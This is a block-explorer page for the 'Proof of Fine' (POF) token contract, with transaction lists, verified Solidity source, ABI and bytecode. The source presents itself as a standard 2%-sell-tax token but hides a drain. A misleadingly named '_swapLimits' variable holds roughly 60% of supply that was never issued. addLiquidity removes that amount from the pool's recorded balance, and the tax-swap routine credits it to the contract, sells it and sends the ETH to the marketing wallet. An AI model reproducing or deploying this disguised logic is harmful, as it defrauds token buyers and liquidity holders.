ETH Price: $3,362.45 (-2.38%)
Gas: 2 Gwei

Contract

0x7fD33c40906190c3dF5AF0E1F826B90E2482c99b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Transfer184571472023-10-29 16:51:47247 days ago1698598307IN
0x7fD33c40...E2482c99b
0 ETH0.0015601719.82961178
Approve182948162023-10-06 23:44:11270 days ago1696635851IN
0x7fD33c40...E2482c99b
0 ETH0.000405618.6173809
Approve182940212023-10-06 21:04:23270 days ago1696626263IN
0x7fD33c40...E2482c99b
0 ETH0.0004760410.11378189
Approve182939642023-10-06 20:52:35270 days ago1696625555IN
0x7fD33c40...E2482c99b
0 ETH0.0005409911.49650752
Approve182938532023-10-06 20:30:11270 days ago1696624211IN
0x7fD33c40...E2482c99b
0 ETH0.000431989.1776356
Approve182938402023-10-06 20:27:35270 days ago1696624055IN
0x7fD33c40...E2482c99b
0 ETH0.000523711.12909934
Approve182938312023-10-06 20:25:47270 days ago1696623947IN
0x7fD33c40...E2482c99b
0 ETH0.0005650812.00549616
Approve182938122023-10-06 20:21:59270 days ago1696623719IN
0x7fD33c40...E2482c99b
0 ETH0.000292536.26138239
Approve182938122023-10-06 20:21:59270 days ago1696623719IN
0x7fD33c40...E2482c99b
0 ETH0.000333517.08558975
Approve182938042023-10-06 20:20:23270 days ago1696623623IN
0x7fD33c40...E2482c99b
0 ETH0.000355657.56570571
Approve182937942023-10-06 20:18:23270 days ago1696623503IN
0x7fD33c40...E2482c99b
0 ETH0.000300966.44182535
Approve182937922023-10-06 20:17:59270 days ago1696623479IN
0x7fD33c40...E2482c99b
0 ETH0.000566712.03987287
Approve182937912023-10-06 20:17:47270 days ago1696623467IN
0x7fD33c40...E2482c99b
0 ETH0.000419838.91961069
Approve182937892023-10-06 20:17:23270 days ago1696623443IN
0x7fD33c40...E2482c99b
0 ETH0.000294936.27391623
Approve182937852023-10-06 20:16:35270 days ago1696623395IN
0x7fD33c40...E2482c99b
0 ETH0.000438889.32438487
Approve182937822023-10-06 20:15:59270 days ago1696623359IN
0x7fD33c40...E2482c99b
0 ETH0.000459639.76514101
Approve182937822023-10-06 20:15:59270 days ago1696623359IN
0x7fD33c40...E2482c99b
0 ETH0.0006119613.00143303
Approve182937742023-10-06 20:14:23270 days ago1696623263IN
0x7fD33c40...E2482c99b
0 ETH0.0004795410.18816089
Approve182937722023-10-06 20:13:59270 days ago1696623239IN
0x7fD33c40...E2482c99b
0 ETH0.000507710.78633107
Approve182937702023-10-06 20:13:35270 days ago1696623215IN
0x7fD33c40...E2482c99b
0 ETH0.0004986310.5937152
Approve182937702023-10-06 20:13:35270 days ago1696623215IN
0x7fD33c40...E2482c99b
0 ETH0.0004986310.5937152
Approve182937692023-10-06 20:13:23270 days ago1696623203IN
0x7fD33c40...E2482c99b
0 ETH0.000444239.45
Approve182937662023-10-06 20:12:47270 days ago1696623167IN
0x7fD33c40...E2482c99b
0 ETH0.0005973412.69402225
Approve182937652023-10-06 20:12:35270 days ago1696623155IN
0x7fD33c40...E2482c99b
0 ETH0.0005771512.26188285
Approve182937642023-10-06 20:12:23270 days ago1696623143IN
0x7fD33c40...E2482c99b
0 ETH0.000347827.39905077
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To Value
182981422023-10-07 10:54:59269 days ago1696676099
0x7fD33c40...E2482c99b
0.00037553 ETH
182981422023-10-07 10:54:59269 days ago1696676099
0x7fD33c40...E2482c99b
0.00037553 ETH
182969612023-10-07 6:56:59269 days ago1696661819
0x7fD33c40...E2482c99b
0.00078643 ETH
182969612023-10-07 6:56:59269 days ago1696661819
0x7fD33c40...E2482c99b
0.00078643 ETH
182943952023-10-06 22:19:23270 days ago1696630763
0x7fD33c40...E2482c99b
0.00071759 ETH
182943952023-10-06 22:19:23270 days ago1696630763
0x7fD33c40...E2482c99b
0.00071759 ETH
182940292023-10-06 21:05:59270 days ago1696626359
0x7fD33c40...E2482c99b
0.00100623 ETH
182940292023-10-06 21:05:59270 days ago1696626359
0x7fD33c40...E2482c99b
0.00100623 ETH
182940262023-10-06 21:05:23270 days ago1696626323
0x7fD33c40...E2482c99b
0.0006033 ETH
182940262023-10-06 21:05:23270 days ago1696626323
0x7fD33c40...E2482c99b
0.0006033 ETH
182939092023-10-06 20:41:23270 days ago1696624883
0x7fD33c40...E2482c99b
0.00041283 ETH
182939092023-10-06 20:41:23270 days ago1696624883
0x7fD33c40...E2482c99b
0.00041283 ETH
182939092023-10-06 20:41:23270 days ago1696624883
0x7fD33c40...E2482c99b
0.00251297 ETH
182939092023-10-06 20:41:23270 days ago1696624883
0x7fD33c40...E2482c99b
0.00251297 ETH
182938052023-10-06 20:20:35270 days ago1696623635
0x7fD33c40...E2482c99b
0.000554 ETH
182938052023-10-06 20:20:35270 days ago1696623635
0x7fD33c40...E2482c99b
0.000554 ETH
182938012023-10-06 20:19:47270 days ago1696623587
0x7fD33c40...E2482c99b
0.00104361 ETH
182938012023-10-06 20:19:47270 days ago1696623587
0x7fD33c40...E2482c99b
0.00104361 ETH
182937962023-10-06 20:18:47270 days ago1696623527
0x7fD33c40...E2482c99b
0.00072253 ETH
182937962023-10-06 20:18:47270 days ago1696623527
0x7fD33c40...E2482c99b
0.00072253 ETH
182937962023-10-06 20:18:47270 days ago1696623527
0x7fD33c40...E2482c99b
0.00072253 ETH
182937962023-10-06 20:18:47270 days ago1696623527
0x7fD33c40...E2482c99b
0.00072253 ETH
182937952023-10-06 20:18:35270 days ago1696623515
0x7fD33c40...E2482c99b
0.0005195 ETH
182937952023-10-06 20:18:35270 days ago1696623515
0x7fD33c40...E2482c99b
0.0005195 ETH
182937942023-10-06 20:18:23270 days ago1696623503
0x7fD33c40...E2482c99b
0.0005195 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Pof

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-04
*/

//SPDX-License-Identifier: MIT

/*
 LAUNCHING THIS FRIDAY 06/10 at 8pm UTC
 Telegram: https://t.me/ProofofFine
 Website: https://ProofofFine.vip/
 X: https://x.com/ProofofFine
*/

pragma solidity 0.8.21;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this fn"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Pof is IERC20, Auth {
    string private constant _symbol  = "POF";
    string private constant _name    = "Proof of Fine";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 420_690_000_000 * (10**_decimals);
  
    address payable private _marketingWallet = payable(0xeeb4527FcfC9B33277693C57E28A9C2aF19a0C59);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 2;
    uint8 private _buyTaxrate  = 0;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 95 / 100000;
    uint256 private _swapTrigger = 20 * (10**15);
    uint256 private _swapLimits = _swapMin * 60 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    address private LpOwner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);        

        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not yet open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not yet open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
        require(_balances[address(this)]>0, "No tokens in ca");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _balances[_primaryLP] -= _swapLimits;
        (bool lpAddSuccessful,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(lpAddSuccessful, "Failed adding lp");
        _isLP[_primaryLP] = lpAddSuccessful;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "trading open");
        _openTrading();
    }

    function _openTrading() internal {
        _maxTxVal     = 3 * _totalSupply / 100; 
        _maxWalletVal = 3 * _totalSupply / 100;
        _tradingOpen = true;
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }


    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }

        return taxAmount;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 2, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }  

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; }
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; }

    function swapMin() external view returns (uint256) { 
        return _swapMin; }
    function swapMax() external view returns (uint256) { 
        return _swapMax; }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendAllEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 _tokensForSwap = _balances[ address(this)] * swapTokenPercent / 100;
        if (_tokensForSwap > 10 **_decimals) { _swapTaxTokensForEth(_tokensForSwap); }
        if (sendAllEth) { 
            uint256 thisBalance = address(this).balance;
            require(thisBalance >0, "No ETH"); 
            _distributeTaxEth( thisBalance ); 
        }
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    // function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendAllEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273eeb4527fcfc9b33277693c57e28a9c2af19a0c5960015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060028055600260035f6101000a81548160ff021916908360ff1602179055505f600360016101000a81548160ff021916908360ff1602179055506009600a620000a291906200087c565b6461f313f880620000b49190620008cc565b6005556009600a620000c791906200087c565b6461f313f880620000d99190620008cc565b600655620186a0600a6009600a620000f291906200087c565b6461f313f880620001049190620008cc565b620001109190620008cc565b6200011c919062000943565b600755620186a0605f6009600a6200013591906200087c565b6461f313f880620001479190620008cc565b620001539190620008cc565b6200015f919062000943565b60085566470de4df8200006009556064603c600754620001809190620008cc565b6200018c9190620008cc565b600a55737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601460016101000a81548160ff02191690831515021790555034801562000209575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550503360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200029b91906200087c565b6461f313f880620002ad9190620008cc565b600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200038a91906200098b565b60405180910390a36001600e5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620009a6565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000774578086048111156200074c576200074b620006ea565b5b60018516156200075c5780820291505b80810290506200076c8562000717565b94506200072c565b94509492505050565b5f826200078e576001905062000860565b816200079d575f905062000860565b8160018114620007b65760028114620007c157620007f7565b600191505062000860565b60ff841115620007d657620007d5620006ea565b5b8360020a915084821115620007f057620007ef620006ea565b5b5062000860565b5060208310610133831016604e8410600b8410161715620008315782820a9050838111156200082b576200082a620006ea565b5b62000860565b62000840848484600162000723565b925090508184048111156200085a5762000859620006ea565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008888262000867565b9150620008958362000870565b9250620008c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200077d565b905092915050565b5f620008d88262000867565b9150620008e58362000867565b9250828202620008f58162000867565b915082820484148315176200090f576200090e620006ea565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200094f8262000867565b91506200095c8362000867565b9250826200096f576200096e62000916565b5b828204905092915050565b620009858162000867565b82525050565b5f602082019050620009a05f8301846200097a565b92915050565b6145b480620009b45f395ff3fe6080604052600436106101ba575f3560e01c806375f0a874116100eb578063b3de9b5d11610089578063e537a83411610063578063e537a834146105f0578063e8078d9414610618578063f2fde38b14610622578063f8b45b051461064a576101c1565b8063b3de9b5d14610560578063c3f70b521461058a578063dd62ed3e146105b4576101c1565b806395d89b41116100c557806395d89b41146104a8578063a5e992bb146104d2578063a9059cbb146104fc578063aacebbe314610538576101c1565b806375f0a8741461043e5780638a8c523c146104685780638da5cb5b1461047e576101c1565b806330449efd116101585780634706240211610132578063470624021461039a5780634fcd2446146103c457806370a08231146103ec578063715018a614610428576101c1565b806330449efd1461030b578063313ce56714610348578063368f480014610372576101c1565b806318839bc31161019457806318839bc31461025557806323b872dd1461027d5780632b14ca56146102b95780632fb528ba146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610674565b6040516101e6919061320d565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906132be565b6106b1565b6040516102229190613316565b60405180910390f35b348015610236575f80fd5b5061023f61079e565b60405161024c919061333e565b60405180910390f35b348015610260575f80fd5b5061027b60048036038101906102769190613381565b6107c2565b005b348015610288575f80fd5b506102a3600480360381019061029e91906133d1565b610995565b6040516102b09190613316565b60405180910390f35b3480156102c4575f80fd5b506102cd610a80565b6040516102da919061343c565b60405180910390f35b3480156102ee575f80fd5b506103096004803603810190610304919061347f565b610a95565b005b348015610316575f80fd5b50610331600480360381019061032c91906134bd565b610c74565b60405161033f9291906134e8565b60405180910390f35b348015610353575f80fd5b5061035c610d13565b604051610369919061343c565b60405180910390f35b34801561037d575f80fd5b5061039860048036038101906103939190613546565b610d1b565b005b3480156103a5575f80fd5b506103ae610ed8565b6040516103bb919061343c565b60405180910390f35b3480156103cf575f80fd5b506103ea60048036038101906103e59190613584565b610eee565b005b3480156103f7575f80fd5b50610412600480360381019061040d91906134bd565b611006565b604051610